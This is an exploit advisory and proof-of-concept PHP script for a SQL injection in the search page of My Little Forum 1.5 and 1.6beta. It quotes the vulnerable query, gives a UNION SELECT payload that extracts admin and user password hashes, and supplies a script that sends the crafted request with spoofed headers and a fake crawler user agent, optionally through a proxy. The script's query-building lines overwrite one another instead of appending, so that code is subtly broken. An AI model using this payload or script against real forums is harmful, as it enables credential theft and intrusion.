My Little Forum 1.5 / 1.6beta SQL Injection
software:
site: http://www.mylittlehomepage.net/my_little_forum
software: "A simple web-forum that supports classical thread view (message tree)
as well as messagebord view to display the messages.
Requires PHP > 4.1 and a MySQL database."
1) look at the vulnerable code at line 144 inside search.php:
...
$result = mysql_query("SELECT id, pid, tid, DATE_FORMAT(time + INTERVAL ".
$time_difference." HOUR,'".$lang['time_format']."') AS Uhrzeit,
DATE_FORMAT(time + INTERVAL ".$time_difference." HOUR, '".$lang['time_format']."')
AS Datum, subject, name, email, hp, place, text, category FROM ".$forum_table."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", "
.$settings['search_results_per_page'], $connid);
...
now goto the search page, select "phrase", and type:
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
if magic quotes are off you will have (guess?...) any admin/user password hash
'cause $searchstring var is not filtered...
this my poc exploit:
My Little Forum 1.5 SQL Injection My Little Forum 1
.5 SQL Injection
a script by rgod at http://rgod.altervista.org
';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "| | ";
for ($li=0; $li<=15; $li++)
{ echo "".$headeri[$li+$ki]." | ";
}
$ki=$ki+16;
echo "
";
}
if (strlen($datai)==1) {echo "| 0".$datai." | ";} else
{echo "".$datai." | ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo " | ";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "".$headeri[$li]." | ";
}
echo "
";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket($packet,$show)
{
global $proxy, $host, $port, $html;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);}
else
{
if (!eregi($proxy_regex,$proxy))
{echo htmlentities($proxy).' -> not a valid proxy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...
';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
if ($show) {echo nl2br(htmlentities($html));}
}
if (($path<>'') and ($host<>'') and ($username<>''))
{
if ($port=='') {$port=80;}
$sql="%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw, user_pw";
$sql=", user_pw"; //if version is 1.6 beta, just add a comment to ths line
$sql=" FROM forum_userdata WHERE user_name='".$username."'/*";
$sql=urlencode($sql);
if ($proxy=='')
{$packet="GET ".$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
else
{$packet="GET http://".$host.$path."search.php?search=".$sql."&ao=phrase HTTP/1.1\r\n";}
$packet.="Client-IP: 127.0.0.1\r\n";
$packet.="X-Forwarded-For: 127.0.0.1\r\n";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/msword, */*\r\n";
$packet.="Referer: http://".$host.$path."search.php\r\n";
$packet.="Accept-Language: en\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Baiduspider+(+http://www.baidu.com/search/spider.htm)\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Keep-Alive\r\n\r\n";
show($packet);
sendpacket($packet,0);
$temp=explode(';(',$html);
$temp2=explode(')',$temp[1]);
$hash=$temp2[0];
echo '
username: '.$username.' hash: '.$hash;
# debugging...
//echo htmlentities($html);
}
else
{
echo '
fill in all requested fields, optionally specify a proxy...
';
}
?>
2) 1.6beta is vulnerable even, we have:
...
$result = mysql_query("SELECT id, pid, tid, UNIX_TIMESTAMP(time + INTERVAL ".$time_difference." HOUR) AS
Uhrzeit, subject, name, email, hp, place, text, category FROM ".$db_settings['forum_table']."
WHERE ".$search_string." ORDER BY tid DESC, time ASC LIMIT ".$ul.", ".$settings['search_results_per_page'],
$connid);
...
you have same results, deleting a statement in injection string:
[whatever]%' UNION SELECT user_pw, user_pw, user_pw, user_pw, user_pw, user_pw,
user_pw, user_pw, user_pw, user_pw, user_pw FROM forum_userdata where
user_name='[username]' /*
rgod
site: http://rgod.altervista.org
mail: retrogod at aliceposta it
original advisory: http://rgod.altervista.org/mylittle15_16b.html